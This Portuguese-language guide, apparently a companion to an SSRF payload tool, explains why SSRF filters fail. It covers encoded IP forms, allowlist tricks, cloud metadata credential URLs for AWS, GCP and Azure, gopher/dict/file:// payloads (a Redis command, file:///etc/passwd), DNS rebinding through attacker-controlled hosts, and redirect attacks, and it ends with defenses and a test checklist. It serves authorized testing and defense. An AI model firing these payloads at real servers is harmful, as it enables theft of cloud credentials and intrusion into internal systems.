Se você já leu o nosso artigo base de SSRF, sabe que a defesa robusta nunca confia na string da URL. Este guia é o complemento prático: dissecamos cada técnica de bypass que aparece no nosso Helper SSRF, explicando não só o quê enviar, mas por que funciona no nível do parser, do resolvedor de DNS e da pilha de rede.

Há um fio condutor em praticamente todos os bypasses de SSRF:

O filtro e o cliente HTTP discordam. O validador olha a URL de um jeito; a função que de fato abre o socket olha de outro. O atacante vive nessa divergência — faz o validador “ver” um destino permitido e o cliente conectar em outro.

Guarde essa frase. Toda técnica abaixo é uma variação dela. Todo o conteúdo aqui é para uso autorizado: pentest com escopo, bug bounty dentro do programa, pesquisa e educação.

1. Representações alternativas de IP

A defesa ingênua mais comum é uma blocklist textual: “bloqueie 127.0.0.1 e 169.254.169.254”. O problema é que um endereço IPv4 não é uma string — é um inteiro de 32 bits, e existem dezenas de formas de escrever o mesmo inteiro. O culpado histórico é a função inet_aton() (e os clones dela em libc, Python, cURL, navegadores), que aceita muito mais do que o formato a.b.c.d com quatro octetos decimais.

Decimal de 32 bits

http://2130706433/        →  127.0.0.1

127.0.0.1 é 0x7F000001, que em decimal é 2130706433. inet_aton e a maioria dos clientes HTTP convertem o inteiro puro de volta no endereço. Uma blocklist que procura a substring 127.0.0.1 não acha nada — e deixa passar.

Hexadecimal (0x, sem pontos)

http://0x7f000001/        →  127.0.0.1

O mesmo inteiro escrito em hexa com prefixo 0x. Parsers no estilo inet_aton reconhecem o prefixo e convertem; uma regex \d+\.\d+\.\d+\.\d+ nem casa com isso (tem letras), então a validação muitas vezes é pulada por completo.

Hexadecimal por octeto

http://0x7f.0x0.0x0.0x1/  →  127.0.0.1

Quando o parser exige quatro partes separadas por ponto, cada parte ainda pode vir em hexa. Útil contra validadores que contam os pontos mas não normalizam cada octeto.

Octal (zero à esquerda)

http://0177.0.0.1/        →  127.0.0.1

Um octeto com 0 na frente é interpretado como octal por inet_aton. 0177 octal = 127 decimal. O detalhe perverso: para um humano (e para algumas regex) 0177.0.0.1 “parece” um IP diferente de 127.0.0.1, mas resolve para o mesmo lugar.

Octal sem pontos

http://017700000001/      →  127.0.0.1

O inteiro de 32 bits inteiro escrito em octal, com 0 na frente. Forma rara, mas vários parsers ainda a normalizam para o IP de destino — e quase nenhum filtro a prevê.

Forma curta de 3 partes

http://127.0.1/           →  127.0.0.1

inet_aton aceita a.b.c, onde a última parte é tratada como 16 bits. 127.0.1 vira 127.0.(0.1) = 127.0.0.1. Escapa de qualquer validação que exija exatamente quatro octetos.

Forma curta de 2 partes

http://127.1/             →  127.0.0.1

a.b, com a última parte ocupando 24 bits. 127.1 = 127.(0.0.1) = 127.0.0.1. É o clássico para encurtar loopback e furar regex ingênuas.

Overflow de octeto (mod 256)

http://127.0.0.257/       →  127.0.0.1   (em parsers que aplicam % 256)

Alguns parsers aplicam valor % 256 a cada octeto. 257 % 256 = 1, então 127.0.0.257 resolve para 127.0.0.1. Passa por checagens que só barram o valor canônico exato.

IPv4 mapeado em IPv6

http://[::ffff:169.254.169.254]/    →  169.254.169.254
http://[::ffff:7f00:1]/             →  127.0.0.1

::ffff:x.x.x.x é o IPv4 embutido dentro de um endereço IPv6. Numa stack dual-stack, o sistema conecta no IPv4 real. Mas um filtro que só sabe validar IPv4 nem inspeciona o que está entre colchetes — e um filtro de IPv6 muitas vezes não percebe que aquilo “vira” um endereço privado.

A segunda forma (::ffff:7f00:1) escreve os dois últimos grupos em hexa (7f00:1 = 127.0.0.1); útil contra filtros que reconhecem a versão “pontuada” mas não a hexadecimal. A versão expandida e não comprimida ([0:0:0:0:0:ffff:7f00:1]) derrota filtros que só procuram a forma comprimida ::ffff:.

DNS wildcard: nip.io e sslip.io

http://169.254.169.254.nip.io/      →  169.254.169.254
http://169-254-169-254.sslip.io/    →  169.254.169.254

Esses serviços resolvem qualquer <ip>.nip.io para o próprio IP embutido no nome. Isso derrota allowlists baseadas em domínio: o host é um nome “externo” e legítimo (*.nip.io), mas aponta para dentro da sua rede. sslip.io faz o mesmo com sintaxe por hífen, útil como fallback quando um dos dois está filtrado.

Por que essa categoria toda funciona: o filtro compara texto, o cliente HTTP resolve um inteiro/endereço. A única defesa confiável é resolver o nome, converter ao endereço binário e validar esse endereço contra as faixas privadas/reservadas — nunca a string.

2. Bypass de allowlist

Aqui o desenvolvedor já fez a coisa “certa” e adotou uma allowlist (api.parceiro.com). Mas a forma como ele extrai o host da URL é frágil.

Credenciais embutidas (userinfo)

http://allowed.com@169.254.169.254/

Tudo que vem antes do @ é a parte de userinfo (usuário:senha), não o host. O cliente conecta em 169.254.169.254. Um filtro ingênuo que faz url.startsWith("http://allowed.com") ou que extrai o host com um split mal feito “vê” allowed.com e libera.

Confusão com fragmento (#)

http://169.254.169.254#@allowed.com/

Parsers divergem sobre onde o fragmento (#) começa e o que conta como host. Alguns validadores, ao tentar “limpar” a URL, acabam interpretando allowed.com como host; o cliente HTTP real ignora tudo após o # e conecta em 169.254.169.254.

Ponto final e sufixo (FQDN)

http://allowed.com.evil.com/
http://169.254.169.254./

Uma allowlist por sufixohost.endsWith("allowed.com") — cai imediatamente com allowed.com.evil.com, um domínio totalmente controlado pelo atacante. E o ponto final (169.254.169.254.) é um FQDN absoluto válido: muitos resolvers o aceitam e resolvem para o mesmo IP, enquanto a comparação textual falha.

# Filtro frágil — NÃO faça isso
if host.endswith("allowed.com"):      # allowed.com.evil.com passa
    fetch(url)

Variação de caixa e encoding

http://ALLOWED.com%2f@169.254.169.254/

Comparações sensíveis a caixa (host == "allowed.com") caem com ALLOWED.com. E filtros que não fazem percent-decode antes de comparar são enganados por %2f (/), %2e (.) e afins: o validador vê uma string, o cliente decodifica e enxerga outra estrutura de URL. Sempre normalize (caixa, percent-decode, IDNA) antes de comparar.

3. Metadados de cloud

O alvo nº 1 do SSRF em nuvem é o endpoint de metadados num IP link-local (169.254.169.254), acessível só de dentro da instância. Ele costuma entregar credenciais temporárias da role atrelada à máquina. As “técnicas” aqui são, na verdade, o protocolo exato que cada provedor exige.

AWS IMDSv1 — credenciais sem token

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

O IMDSv1 não exige token: um GET simples lê o nome da role e, em seguida, as chaves temporárias (AccessKeyId, SecretAccessKey, Token). É por isso que o SSRF mais banal — aquele que só consegue um GET — já é catastrófico em EC2 com IMDSv1.

AWS IMDSv2 — token via PUT

PUT http://169.254.169.254/latest/api/token
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# depois:
GET http://169.254.169.254/latest/meta-data/...
    -H "X-aws-ec2-metadata-token: <token>"

O IMDSv2 obriga um fluxo de duas etapas: primeiro um PUT para obter um token, depois o header X-aws-ec2-metadata-token em cada GET. Isso só é explorável se a SSRF permitir método e headers arbitrários — o que quebra a esmagadora maioria dos SSRFs ingênuos. É por isso que exigir IMDSv2 é uma defesa tão eficaz (embora não única).

GCP — header Metadata-Flavor

http://169.254.169.254/computeMetadata/v1/   -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/?recursive=true

O GCP só responde se a requisição trouxer o header Metadata-Flavor: Google. Essa exigência existe justamente para frustrar SSRFs simples. Quando o atacante controla headers, ?recursive=true despeja tudo de uma vez, incluindo tokens de service account.

Azure — header Metadata: true

http://169.254.169.254/metadata/instance?api-version=2021-02-01   -H "Metadata: true"
http://169.254.169.254/metadata/identity/oauth2/token?...         -H "Metadata: true"

O Azure exige o header Metadata: true e o parâmetro api-version. O endpoint /identity/oauth2/token devolve tokens de identidade gerenciada — o equivalente às credenciais de role da AWS.

Alibaba Cloud

http://100.100.100.200/latest/meta-data/ram/security-credentials/

A Alibaba usa um IP diferente (100.100.100.200) com uma estrutura parecida com a da AWS e sem token por padrão. Inclua esse IP na sua bateria de testes — blocklists que só conhecem 169.254.169.254 o ignoram.

Kubernetes / kubelet

https://169.254.169.254/
http://127.0.0.1:10255/pods

Dentro de um cluster, a API de metadados e a porta read-only do kubelet (10255) expõem segredos, variáveis de ambiente e a lista de pods quando alcançadas via SSRF. É um alvo interno que blocklists focadas só em cloud metadata costumam esquecer.

A defesa de fundo é a mesma para todos: bloquear, por rota de rede, o acesso da carga de trabalho ao IP de metadados quando ela não precisa dele, exigir IMDSv2/headers e dar à role o mínimo privilégio.

4. Protocolos exóticos

Se o fetcher aceita esquemas além de http/https, a superfície de ataque explode. O esquema da URL determina qual protocolo de bytes o cliente vai falar com a porta de destino.

gopher:// → Redis (e SMTP, FastCGI…)

gopher://127.0.0.1:6379/_%2A1%0d%0a%244%0d%0aPING%0d%0a

gopher:// é a chave-mestra: ele manda bytes crus para a porta, incluindo CRLF (%0d%0a). Como muitos protocolos internos (Redis, SMTP, FastCGI, memcached) são baseados em texto e linha, você consegue escrever comandos válidos do protocolo dentro da URL. O exemplo acima envia um PING no protocolo RESP do Redis; trocando o payload, você escreve chaves, agenda jobs ou faz RCE via FastCGI. (O builder da ferramenta monta esses bytes para você.)

dict:// — sondar e extrair

dict://127.0.0.1:6379/info

dict:// manda uma linha simples para a porta e devolve a resposta. É excelente para fingerprint de serviços internos (Redis, memcached) e leitura de banners sem precisar montar o protocolo inteiro como no gopher.

file:// — leitura de arquivo local

file:///etc/passwd

Se o cliente HTTP aceita file://, a SSRF deixa de ser “requisição para outro host” e vira leitura arbitrária de arquivos do próprio servidor. Não há rede envolvida — só o sistema de arquivos local.

ftp:// e ldap://

ftp://127.0.0.1:11211/
ldap://127.0.0.1:389/

Esquemas alternativos alcançam serviços que falam protocolos texto. Combinados com a porta certa, tocam memcached, LDAP e outros — outra razão para o cliente HTTP ter uma allowlist de esquemas (https apenas, idealmente).

5. DNS rebinding

Essa é a técnica que prova por que validar a string da URL nunca basta.

Rebinding por TOCTOU

http://rebind.attacker.com/
# TTL 0 →  1ª resolução: IP público (passa na validação)
#         2ª resolução: 127.0.0.1 / 169.254.169.254 (no fetch real)

O atacante controla o DNS de rebind.attacker.com e responde com TTL 0 (sem cache). Na hora em que a aplicação valida o host, ele resolve para um IP público inofensivo e passa. Microssegundos depois, quando o cliente faz a conexão de verdade, uma nova consulta DNS resolve para 127.0.0.1 ou para o IP de metadados. A vulnerabilidade é a janela entre checar e usar (TOCTOU — time-of-check to time-of-use).

A consequência prática: mesmo que você resolva o DNS e valide o IP, se depois você reconectar pelo nome (deixando o cliente resolver de novo), o rebinding vence. A defesa é conectar exatamente no IP já validado, sem nova resolução.

Serviços de rebind prontos

1u.ms   ·   rbndr.us   ·   nip.io   ·   sslip.io

Você não precisa montar infraestrutura de DNS: 1u.ms e rbndr.us alternam entre dois IPs a cada consulta (rebinding pronto), enquanto nip.io/sslip.io resolvem direto para o IP embutido no nome (úteis na categoria de allowlist). O painel da ferramenta gera esses nomes a partir do IP que você digitar.

6. Parser confusion

A generalização do “filtro e cliente discordam”: eles usam parsers de URL diferentes.

Divergência RFC 3986 × WHATWG

http://127.0.0.1\@allowed.com/
http://allowed.com⁄@127.0.0.1/

O validador (digamos, a urlparse de uma linguagem, seguindo a RFC 3986) e o cliente HTTP (digamos, um navegador, seguindo o WHATWG URL Standard) discordam sobre o significado de barra invertida (\), espaço e do unicode (U+2044, “fraction slash”). Um trata \ como separador de path; o outro como parte do host. Resultado: cada um enxerga um host diferente na mesma string — e o atacante escolhe qual lado vê o quê.

IDNA / homoglyph

http://①②⑦.⓪.⓪.①/        →  127.0.0.1

Caracteres unicode “decorados” (①②⑦) são normalizados para ASCII (127) no momento da resolução, via IDNA/NFKC. O filtro compara a forma unicode (que não casa com 127); o cliente normaliza e resolve o IP real. Mesmo princípio dos homoglyphs em nomes de domínio.

Redirect 30x para o destino interno

GET https://attacker.com/r       (URL pública — passa na allowlist)

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/...

A URL inicial é pública e passa em qualquer allowlist. Mas o servidor do atacante responde com um 30x apontando para o alvo interno. Se o cliente HTTP segue redirects automaticamente e só validou a URL de partida, ele segue cego para 169.254.169.254. É um “rebinding sem DNS”: a troca de destino acontece na camada HTTP, não na de resolução.

Como nos defendemos

Repare que nenhuma dessas técnicas é derrotada por uma regex melhor. O nosso artigo base de SSRF detalha a arquitetura completa; em resumo, a defesa que sobrevive a tudo acima é:

  1. Allowlist de host e de esquema (https apenas), negando por padrão.
  2. Resolver o DNS, validar o(s) IP(s) contra todas as faixas privadas/reservadas — e conectar exatamente nesse IP, sem nova resolução (mata rebinding).
  3. Não seguir redirects (ou revalidar o destino a cada salto).
  4. Normalizar antes de comparar: caixa, percent-decode, IDNA, forma canônica do IP.
  5. Segmentação de rede / egress filtering: a carga que faz fetch não deve ter rota para o metadado nem para a rede interna.
  6. IMDSv2 obrigatório, hop limit = 1, roles com mínimo privilégio.
  7. Desabilitar esquemas perigosos (file://, gopher://, dict://, ftp://, ldap://).

A linha que conecta os pontos: a defesa nunca pode confiar na string. Ela tem de controlar para qual endereço binário, em qual rede, o servidor tem permissão de abrir um socket — no instante exato da conexão.

Checklist de teste de bypass

  • Representações de IP: decimal, hex (0x), hex por octeto, octal (com/sem ponto), formas curtas (3 e 2 partes), overflow %256.
  • IPv6: [::1], IPv4-mapeado ([::ffff:...]), forma hexa e expandida.
  • DNS wildcard: nip.io, sslip.io.
  • Allowlist: userinfo @, fragmento #, sufixo allowed.com.evil.com, ponto final, caixa, %2f/%2e.
  • Metadados: AWS v1/v2, GCP, Azure, Alibaba (100.100.100.200), kubelet :10255.
  • Protocolos: gopher://, dict://, file://, ftp://, ldap://.
  • DNS rebinding (TTL 0) e serviços prontos (1u.ms, rbndr.us).
  • Parser confusion: \, espaço, unicode , IDNA/homoglyph.
  • Redirect 30x apontando para destino interno.

Cada um desses payloads você gera e estuda no nosso Helper SSRF — tudo roda 100% no navegador, sem nenhuma requisição ao alvo. Use em testes autorizados, e do outro lado da mesa: trate cada item desta lista como um caso de teste que sua defesa precisa passar.